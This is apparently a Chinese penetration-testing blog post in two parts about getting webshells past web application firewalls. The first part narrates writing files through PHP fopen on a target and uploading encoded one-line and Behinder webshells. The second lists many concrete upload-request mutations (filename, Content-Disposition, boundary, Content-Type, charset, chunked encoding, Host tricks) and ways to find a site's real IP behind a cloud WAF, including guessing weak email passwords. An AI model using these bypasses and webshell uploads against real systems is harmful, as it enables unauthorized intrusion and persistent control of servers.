传完后又转起来了

img
这里又一个坑,因为system中可以用双引号也可以不用,用双引号的时候一般是类似 ls -l 这种有空格的情况,但是whoami这种的是不需要引号的,但是这里访问一直转明显是语法错误,那我加上就是了。

img

img
属实是天坑

命令执行没问题了,尝试写一句话,

果不其然被拦截了

尝试加点注释

img
没问题过去了,访问一下

img
又转起来了

本地试了一下,发现eval这句不能在aa;后面,又是语法错误

既然如此,那我只能放大招了,那就是fopen大法,也就是通过php脚本文件向服务器写新文件,达到绕过流量层waf检测。

先写个txt试试水,所有字符能放开的最好直接用注释分开,

img
访问一下www.php

img
没问题,说明确实执行了我们的代码。

img
那既然如此就好办多了,直接传个一句话

img

img
可惜,明文传输直接挂,流量还得过。

流量绕过

流量绕过就比较简单了,多次编码即可,这里上传了一个三次base64解密的马

img

img
但是蚁剑编码器出现了问题,可能是多次编码导致不知道哪里出了问题,直接上传冰蝎(这里需要把冰蝎分两段传,用fopen的a参数拼接脚本)
over

img

第二篇

硬怼

1
2
3
4
硬怼的话,主要是从下面这些方法入手去操作。
1)fuzz后缀名看看有无漏网之鱼(针对开发自定义的过滤可能有机会,针对waf基本不可能。更多的情况是php的站寻找文件包含或者解析漏洞乃至传配置文件一类的,但是对于这种也大可不必fuzz后缀名了)
2)http头变量改造首先要明确waf的检测特征,一般是基于某种特定的情况下,去针对相应的拦截。几个例子,文件上传的时候,大多数Content-Type都是application/multipart-formdata这种,name对于waf来说,如果针对这种规则,对xxe ,sql注入,上传,命令执行,内容等所有都去做一波扫描是及其浪费内存的,所以有可能针对不同的类型,做了不同的校验规则。此时通过对Content-Type进行修改,可能会绕过waf。其他的http头添加删除等也是类似(3)文件后缀构造这个和第一个有相似的就是都针对后缀名进行改造,不同的在于这里可能会利用waf的截取特征,比如回车换行绕过waf的检测,但是对于后端来说接收了所有的传入数据,导致了绕过waf。
4)其他方法这种就比较杂了,但是又不属于迂回打击的一类,比如重写等方法。接下来就实战来试试
1
2
3
4
5
6
7
8
9
10
第一步,先来对waf的规则做一个简单的判断。这里我的习惯是从内容,后缀两个方向进行判断。简单来说,基本分为这几种情况
1)只判断后缀(基本碰到的比较少了,因为很多时候白名单开发都可以完成)
2)只判断内容(也比较少,因为一般的waf都会带后缀的判断)
3)内容后缀同时判断(这种情况比较多,相对于来说会安全一点)
4)根据文件后缀来判断内容是否需要检测(较多)
5)根据Content-Type来判断文件内容是否需要检测
暂时只想到这么多,以后碰到了再单独记吧。有了思路,那么接下来就好说了。举个例子我这里的情况
1)传脚本后缀(被拦截,判断了后缀)
2)传脚本后缀加不免杀代码(被拦截,可能后缀内容同时拦截)
3)传非脚本名(可自己fuzz一个能过waf的任意后缀,里面加恶意内容,被拦截。也就是说同时会对内容和后缀进行判断)说说我这里的情况,会对内容和后缀进行拦截。检测到上传jsp文件,任意内容都会被拦截。
1
先来fuzz一波能利用的后缀名,这里可以包括中间件的一些配置文件。希望不大,一点都不出意外,全部被拦截了。

图片

1
既然我们需要对后缀名进行改造,就对后缀名后面加特殊符号做一个fuzz试试,测试了一下,在没有恶意内容的情况下,只有'被过滤了。所以如果有机会,我们看看能不能试试系统特殊,比如;去做截断。先记下来。因为最终还是需要免杀马的,jsp免杀又不会,先不考虑这个,先考虑把waf绕过。(这里我对filename做了换行,然后去掉了引号,加了一个;做截断绕过了waf,但是内容被查杀了,尴尬。)

图片

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
接下来对http头部进行改造一下尝试绕过
一.filename改造
(2) 名字特殊符号替换以及构造异常闭合(符号方法很多自己天马星空,我这里就写几个就行了,但是要注意你改造了得让后端识别到,乱改造识别不到等于白搭)
filename='shell.jspx.jsp'
filename=`shell.jspx.jsp`
filename=shell.jspx.jsp'
"filename"=shell.jspx;
(3)重写filename=shell.jpg;filename=shell.jspx;
filename=shell.jspx;filename=shell.jpg;
(4)大小写变化FileName=shell.jspx.jsp'
(5)参数污染
FileName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaashell.jspx.jsp'
FileName =shell.jspx(加空格)
filename===="shell.jspx.jsp1"(加等号)
FileName =shell.jspx(前后加空格,中间也可以加特殊符号fuzz)
(6)文件名字编码(filename一般为后端接收参数,编码了可能识别不到,这个就看情况) filename=\u0073\u0068\u0065\u006c\u006c\u002e\u006a\u0073\u0070
(7)回车换行(有时候确实挺好用的,任意位置都可以试一下)
1.FileName=shell.jspx.
jsp
2.File
Name=shell.jspx.jsp'
二 name改造
name也可以任意改造,改造的方法和filename差不多,就不重复发了,主要是思路重要。 其他的比如奇奇怪怪的正则需要用到的特殊字符都可以在文件名中fuzz一下,看看能否打断waf规则,也就是把我们fuzz后缀的再跑一次,或者再找点其他的正则字母,这里就不重复写了。

图片

图片

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
http头部上传相关绕过,有一些用畸形相关的,不太推荐一来就试,fuzz的可以带一下,这种属于天时地利人和占据才用,毕竟底层的规定好的合规变了就不能识别,但是也说不准fuzz出问题了呢。fuzz本来就是一个天马行空的过程,好了,继续来看。
(1)Content-Disposition
溢出绕过Content-Disposition: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa form-data; name="file"; filename=shell.jpg;filename=shell.jspx;
回车换行绕过(注意不要把固定字段打散了,)Content-Disposition:
form-data; name="file"; filename=shell.jpg;filename=shell.jspx;
双写绕过(写两次)Content-Disposition: form-data; name="file"; filename=shell.jpg;filename=shell.jspx;Content-Disposition: form-data; name="file"; filename=shell.jpg;filename=shell.jspx.jpg;
还有一些参数污染加减空格啥的,和上面filename类似,就不重复写了。
(2)boundary加减空格或者前面加恶意的参数
boundary =---------------------------8472011224916008542288311250
&boundary =---------------------------8472011224916008542288311250
123& boundary =---------------------------8472011224916008542288311250
多个污染(他是用来分割的,他变了下面的也要变一下)
boundary =---------------------------8472011224916008542288311251
boundary =---------------------------8472011224916008542288311252
回车换行污染
分割污染(简单来说就是他自定义了一些分割部分,我们可以把我们的恶意参数提交到其他的分割部分)见下图第一个,视情况而定。其他的常用方式和上面都可以重复的
(3)Content-Type
直接删除
修改类型为application/text或者 image/jpeg等等
回车换行
溢出参数
污染重复
传入Content-Type
大小写变换
设置charset
Content-Type: multipart/form-data;charset=iso-8859-13
列举几个
ibm869
ibm870
ibm871
ibm918
iso-2022-cn
iso-2022-jp
iso-2022-jp-2
iso-2022-kr
iso-8859-1
iso-8859-13
iso-8859-15
还有其他的方式,其实和上面的思路差不多

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http头部其他绕过,这一块就比较多了,编码,长度等等,都可以试一下,具体的方法和上面的差不多。这里就用参考链接pureqh老哥的几个东西了。
Accept-Encoding 改变编码类型
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflat
eAccept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *下面截取的图片是我本次的,就不弄其他的了,长度哪一块,主要是说内容方面相关的。
修改请求方式绕过post改为get put等其他的请求方式(这一块主要是针对waf的拦截特性)
host头部绕过
对host进行回车,换行
修改host头部
host跟链接
host改为127.0.0.1
删除host

图片

1
2
3
4
5
6
到这里就差不多了,再来回头理一下我们的思路。借用露迅先生的一句话,你如果啥都不晓得就莽起整,一些都等求于零。所以我们总结一下我们的思路。
waf的特性大多数是写了很多的规则,基于截取的内容做规则匹配,匹配到了就不放行,未匹配到就认为是安全的放行,所以我们需要做的就是绕过waf对于规则的匹配。大概是这几个方向
(1)基于正则匹配的绕过(也就是参数污染,正则破坏等上面的方法,打乱waf的检测)
(2)基于正则匹配的缺失(类似于修改请求等,让waf根本不去检测这部分的内容)
(3)基于操作系统的特性(类似于后缀名加特殊符号让操作系统进行识别)
我们做一切的前提都是既绕过了waf,也能让后端识别,所以可以乱来,不要太乱。基本也就是污染,多写,绕过,添加删除几个方向。

二 迂回打击

1
说是迂回打击,但是其实就是利用一些通用的手段,或者中间件的特性去绕过waf,甚至说寻找到了真实ip去直接绕过云waf等方法。这里我就简单总结一些,不全面的话忘体谅。这一块主要是内容相关的了。
1
2
3
4
5
6
7
8
9
10
1)基于http请求的绕过
这种属于硬怼,方法如下:
1.免杀马这种是万能的,只要能免杀就能如履平地,但是现在的waf规则更新太快了,熬了一夜去弄了个免杀,第二天踩了蜜罐上去就被抓,蓝方产品支持加入规则,一点也不美滋滋,但是这也是一条YYDS的道路
2.分块传输说实话这玩意儿我从来没有成功过,但是面试问的挺多的,有一次有个面试官还专门跟我提了这个所以我这里列举一下。但是分块参数+参数污染组合利用貌似效果还是不错
3.修改长度字段和分块参数有点类似,作用是这样,有些时候做参数大数据污染的时候,waf判断数据过长直接丢弃,有些判断长度和内容相差太多也直接丢弃。这时候可以把两者结合起来使用,达到超长数据绕过waf的检测,同时数据送到了后端
4.修改传输编码和分块传输类似,自己手动去改,burp那个插件工具我是一次都没成功过
5.基于网站系统特性添加字段比如ASP专属bypass-devcap-charset,添加这些字段去绕过waf的检测(这也是我看到但是没机会实战,记录一下)
6.修改头部+内容结合修改头部为其他格式,再把内容头加其他格式,例如图片,中间插入恶意代码,类似图片马
7.增加多个boundary这样子打乱了恶意内容,有点类似分开传输,欺骗waf的检测,逃逸后面的代码。
8.文件名写入文件windows下利用多个<<<<去写入文件,详情可以看参考链接。还有一些其他的方法,这一种也是类似于对waf欺骗,过着直接利用免杀硬过waf的。jsp免杀不会,就不献丑免杀了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
其他绕过
这种绕过就是一般适用于云waf了。咋说呢,这种我碰到的不怎么多,因为一般碰到的云waf基本都很强,注入上传类的绕过现在越来越难了,xss还好一点,但是不走钓鱼的话xss也没用太大的用处,毕竟可以一把梭最舒服。来看看吧,检测全球ping就行。
1.寻找真实ip这个方法网上太多了,说下我常用的
1)利用ssl证书寻找
2)利用子域名寻找
3)利用公司其他业务寻找(跑C端看运气,和子域名一样)
4)利用信息泄露寻找(github,google,目录文件,js代码等)
5)利用一些云网站或者专门查找cdn的网站,链接在家里电脑上,这电脑没有,就自己去找吧
6)利用已知工具
7)搜索引擎(fofa,夸克等,看以前收集的业务)
8)利用http返回信息
9)找邮箱弱口令,然后你懂的
10)找朋友,你懂的。
2.利用子域名去打有些网站,可能外面做了防护,子域名没加waf,而子域名又在白名单,迂回去锤就行了。
3.利用头部绕过基本碰不到了,修改host为本地ip,现在已经绝迹了,突然想起来写一下。
4.找设备找一些vpn一类的设备碰碰运气其他的就不说了吧,头痛。
总结下这个思路
1)直接寻找waf保护后的目标地址,进行亲身拥抱(绕过waf去打)
2)寻找waf后目标的子女子孙亲儿子(被waf加白的一些资产)去挑拨离间。

参考:

https://mp.weixin.qq.com/s/vaf1tNzpuSFerzqk8M0jLg

https://www.anquanke.com/post/id/169738

https://github.com/c0ny1/chunked-coding-converter

https://mp.weixin.qq.com/s/WVz_i2OJmLoFPeMmp70K9A

https://github.com/pen4uin/awesome-pentest-note/blob/main/README.md#fastjson-bypass-%E6%9F%90waf

https://pureqh.top/?p=1225

https://pureqh.top/?cat=7

https://xz.aliyun.com/t/10560

https://xz.aliyun.com/t/10459

https://xz.aliyun.com/t/7522

https://cloud.tencent.com/developer/article/1856256